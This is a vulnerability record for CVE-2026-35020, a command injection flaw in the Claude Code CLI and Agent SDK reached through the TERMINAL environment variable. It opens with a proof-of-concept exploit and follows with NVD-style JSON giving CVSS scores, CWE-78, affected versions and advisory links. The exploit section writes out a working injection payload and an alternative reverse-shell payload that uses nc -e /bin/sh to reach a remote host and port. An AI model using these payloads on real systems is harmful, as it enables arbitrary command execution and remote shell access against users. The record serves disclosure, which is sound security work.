CVE-2026-35020

# Exploit: OS Command Injection via TERMINAL environment variable # Description: Set the TERMINAL env var to inject shell metacharacters. # Step 1: Define the malicious payload. This example creates a file 'pwned' in /tmp. # The ';' character separates commands in shell. export TERMINAL="gnome-terminal; touch /tmp/pwned; #" # Step 2: Trigger the vulnerability by executing the Claude Code CLI or Agent SDK. # The application will read 'TERMINAL' and execute a command similar to: # /bin/sh -c "gnome-terminal; touch /tmp/pwned; # ...args" # Result: The file /tmp/pwned is created. # Alternative Payload: Reverse Shell # export TERMINAL="xterm; nc -e /bin/sh 192.168.1.100 4444; #"

{"cve": {"id": "CVE-2026-35020", "sourceIdentifier": "[email protected]", "published": "2026-04-06T20:16:24.863", "lastModified": "2026-04-29T19:05:15.017", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "Anthropic Claude Code CLI and Claude Agent SDK contain an OS command injection vulnerability in the command lookup helper and deep-link terminal launcher that allows local attackers to execute arbitrary commands by manipulating the TERMINAL environment variable. Attackers can inject shell metacharacters into the TERMINAL variable which are interpreted by /bin/sh when the command lookup helper constructs and executes shell commands with shell=true. The vulnerability can be triggered during normal CLI execution as well as via the deep-link handler path, resulting in arbitrary command execution with the privileges of the user running the CLI."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anthropic:claude_agent_sdk:*:*:*:*:*:python:*:*", "versionEndIncluding": "0.1.55", "matchCriteriaId": "1AB5F4DE-0C71-4925-BE76-F7B31FDF91FB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:anthropic:claude_code:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "2.1.91", "matchCriteriaId": "F37C746D-1252-4B39-95CC-6AB76BA13357"}]}]}], "references": [{"url": "https://phoenix.security/critical-ci-cd-nightmare-3-command-injection-flaws-in-claude-code-cli-allow-credential-exfiltration/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/anthropic-claude-code-agent-sdk-os-command-injection-via-terminal-environment-variable", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}